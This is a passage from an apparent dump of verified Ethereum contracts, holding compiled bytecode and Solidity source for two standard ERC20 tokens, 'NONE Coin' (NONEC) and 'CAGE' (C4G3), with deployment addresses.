8186803b15801561325b57600080fd5b505afa15801561326f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061329391906139ae565b6005546001600160a01b039081169116146132c05760405162461bcd60e51b815260040161055290613f7d565b600a8054610100600160a81b0319166101006001600160a01b038881169190910291909117909155600b80546001600160a01b031990811687841617909155600c805482168684161790819055600d80548316868516179055600e8054909216848416179091556005549082169116148061335957506005546001600160a01b0316736b175474e89094c44da98b954eedeac495271d0f145b1561341a5760408051600280825260608201835290916020830190803683375050815161338d92600f9250602001906138fd565b50600554600f80546001600160a01b03909216916000906133aa57fe5b600091825260209091200180546001600160a01b0319166001600160a01b03928316179055600b54600f805491909216919060019081106133e757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550613510565b6040805160038082526080820190925290602082016060803683375050815161344a92600f9250602001906138fd565b50600554600f80546001600160a01b039092169160009061346757fe5b600091825260209091200180546001600160a01b0319166001600160a01b03928316179055600c54600f805491909216919060019081106134a457fe5b600091825260209091200180546001600160a01b0319166001600160a01b03928316179055600b54600f805491909216919060029081106134e157fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b600554613529906001600160a01b031683600019611ca6565b611388601055600b54604080516318160ddd60e01b815290516001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b15801561357457600080fd5b505afa158015613588573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135ac9190613cfe565b60115560055461321b906001600160a01b031686600019611ca6565b606061361d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611da59092919063ffffffff16565b805190915015611da0578080602001905181019061363b9190613b4f565b611da05760405162461bcd60e51b81526004016105529061413d565b6060613662856137c3565b61367e5760405162461bcd60e51b8152600401610552906140e1565b60006060866001600160a01b0316858760405161369b9190613d5c565b60006040518083038185875af1925050503d80600081146136d8576040519150601f19603f3d011682016040523d82523d6000602084013e6136dd565b606091505b509150915081156136f1579150611db49050565b8051156137015780518082602001fd5b8360405162461bcd60e51b81526004016105529190613e98565b60008261372a575060006112b6565b8282028284828161373757fe5b04146122465760405162461bcd60e51b815260040161055290613fda565b600061224683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506137fc565b600081848411156137bb5760405162461bcd60e51b81526004016105529190613e98565b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611db4575050151592915050565b6000818361381d5760405162461bcd60e51b81526004016105529190613e98565b50600083858161382957fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106138745782800160ff198235161785556138a1565b828001600101855582156138a1579182015b828111156138a1578235825591602001919060010190613886565b506138ad92915061395e565b5090565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b828054828255906000526020600020908101928215613952579160200282015b8281111561395257825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019061391d565b506138ad929150613973565b5b808211156138ad576000815560010161395f565b5b808211156138ad5780546001600160a01b0319168155600101613974565b6000602082840312156139a3578081fd5b813561224681614359565b6000602082840312156139bf578081fd5b815161224681614359565b600080600080608085870312156139df578283fd5b84356139ea81614359565b935060208501356139fa81614359565b92506040850135613a0a81614359565b91506060850135613a1a81614359565b939692955090935050565b600080600080600080600060e0888a031215613a3f578283fd5b8735613a4a81614359565b96506020880135613a5a81614359565b95506040880135613a6a81614359565b94506060880135613a7a81614359565b93506080880135613a8a81614359565b925060a0880135613a9a81614359565b915060c0880135613aaa81614359565b8091505092959891949750929550565b60006020808385031215613acc578182fd5b825167ffffffffffffffff811115613ae2578283fd5b8301601f81018513613af2578283fd5b8051613b05613b008261430d565b6142e6565b8181528381019083850185840285018601891015613b21578687fd5b8694505b83851015613b43578051835260019490940193918501918501613b25565b50979650505050505050565b600060208284031215613b60578081fd5b81518015158114612246578182fd5b60008060208385031215613b81578182fd5b823567ffffffffffffffff80821115613b98578384fd5b818501915085601f830112613bab578384fd5b813581811115613bb9578485fd5b866020828501011115613bca578485fd5b60209290920196919550909350505050565b600060208284031215613bed578081fd5b815167ffffffffffffffff80821115613c04578283fd5b818401915084601f830112613c17578283fd5b815181811115613c25578384fd5b613c38601f8201601f19166020016142e6565b9150808252856020828501011115613c4e578384fd5b613c5f81602084016020860161432d565b50949350505050565b6000610120808385031215613c7b578182fd5b613c84816142e6565b9050825181526020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a082015260c083015160c082015260e083015160e08201526101008084015181830152508091505092915050565b600060208284031215613cf7578081fd5b5035919050565b600060208284031215613d0f578081fd5b5051919050565b6000815480845260208085019450838352808320835b83811015613d515781546001600160a01b031687529582019560019182019101613d2c565b509495945050505050565b60008251613d6e81846020870161432d565b9190910192915050565b60006a537472617465677955626960a81b82528251613d9e81600b85016020870161432d565b91909101600b0192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03948516815292841660208401529083166040830152909116606082015260800190565b6001600160a01b03978816815295871660208701529386166040860152918516606085015284166080840152831660a083015290911660c082015260e00190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602082528251806020840152613eb781604085016020870161432d565b601f01601f19169190910160400192915050565b6020808252600b908201526a085cdd1c985d1959da5cdd60aa1b604082015260600190565b602080825260059082015264085dd85b9d60da1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601c908201527f537472617465677920616c726561647920696e697469616c697a656400000000604082015260600190565b60208082526037908201527f5661756c742077616e7420697320646966666572656e742066726f6d2074686560408201527f20756e6465726c79696e67207661756c7420746f6b656e000000000000000000606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b602080825260069082015265085d985d5b1d60d21b604082015260600190565b6020808252600790820152662173686172657360c81b604082015260600190565b6020808252602e908201527f4275726e696e672070726f66697420726174696f2073686f756c64206265206c60408201526d0657373207468616e2031303030360941b606082015260800190565b60208082526017908201527f50616972206d75737420657869737420746f2073776170000000000000000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600b908201526a08585d5d1a1bdc9a5e995960aa1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600a9082015269085c1c9bdd1958dd195960b21b604082015260600190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b60006040820184835260206040818501528185518084526060860191508287019350845b818110156142535784516001600160a01b03168352938301939183019160010161422e565b5090979650505050505050565b600083825260406020830152611db46040830184613d16565b600086825285602083015260a0604083015261429860a0830186613d16565b6001600160a01b0394909416606083015250608001529392505050565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff8111828210171561430557600080fd5b604052919050565b600067ffffffffffffffff821115614323578081fd5b5060209081020190565b60005b83811015614348578181015183820152602001614330565b83811115611bad5750506000910152565b6001600160a01b038116811461184857600080fdfea26469706673582212208be0b73e4cdbac111172a22f8db5949a84b224eef6cddb77a9e069b7c70813a864736f6c634300060c0033
[ 5, 7, 12 ]
0xf2ef12e6d2ac300eb04ef376bd0fe06415aca5cd
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'XITC' token contract // // Deployed to : 0x8f2117470c93c025E0D547e42329BA321E485401 // Symbol : NONEC // Name : NONE Coin // Total supply: 2000000 // Decimals : 0 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract NONEC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function NONEC() public { symbol = "NONEC"; name = "NONE Coin"; decimals = 0; _totalSupply = 2000000; balances[0x8f2117470c93c025E0D547e42329BA321E485401] = _totalSupply; Transfer(address(0), 0x8f2117470c93c025E0D547e42329BA321E485401, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820fd03ea214d9af40699cc50bf3e603d076b3088bc26e046d80a1f8c0452a89fa80029
[ 2 ]
0xf2ef3551c1945a7218fc4ec0a75c9ecfdf012a4f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; pragma experimental ABIEncoderV2; import "./SafeMath.sol"; contract C4g3 { /// @notice EIP-20 token name for this token string public constant name = "CAGE"; /// @notice EIP-20 token symbol for this token string public constant symbol = "C4G3"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 100_000_000e18; // 100 million C4G3 /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /** * @notice Construct a new C4g3 token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == type(uint).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "C4g3::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == type(uint).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "C4g3::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "C4g3::permit: invalid signature"); require(signatory == owner, "C4g3::permit: unauthorized"); require(block.timestamp <= deadline, "C4g3::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "C4g3::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "C4g3::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = sub96(spenderAllowance, amount, "C4g3::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "C4g3::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "C4g3::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "C4g3::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "C4g3::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b411461022a578063a9059cbb14610248578063d505accf14610278578063dd62ed3e14610294576100cf565b8063313ce567146101ac57806370a08231146101ca5780637ecebe00146101fa576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806320606b701461014057806323b872dd1461015e57806330adf81f1461018e575b600080fd5b6100dc6102c4565b6040516100e99190611691565b60405180910390f35b61010c6004803603810190610107919061137d565b6102fd565b6040516101199190611570565b60405180910390f35b61012a61047c565b6040516101379190611753565b60405180910390f35b610148610482565b604051610155919061158b565b60405180910390f35b61017860048036038101906101739190611288565b6104a6565b6040516101859190611570565b60405180910390f35b61019661071a565b6040516101a3919061158b565b60405180910390f35b6101b461073e565b6040516101c1919061176e565b60405180910390f35b6101e460048036038101906101df919061121b565b610743565b6040516101f19190611753565b60405180910390f35b610214600480360381019061020f919061121b565b6107b2565b6040516102219190611753565b60405180910390f35b6102326107ca565b60405161023f9190611691565b60405180910390f35b610262600480360381019061025d919061137d565b610803565b60405161026f9190611570565b60405180910390f35b610292600480360381019061028d91906112db565b610840565b005b6102ae60048036038101906102a99190611248565b610c9e565b6040516102bb9190611753565b60405180910390f35b6040518060400160405280600481526020017f434147450000000000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561033c576bffffffffffffffffffffffff9050610361565b61035e83604051806060016040528060258152602001611bfb60259139610d4b565b90505b80600360003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffff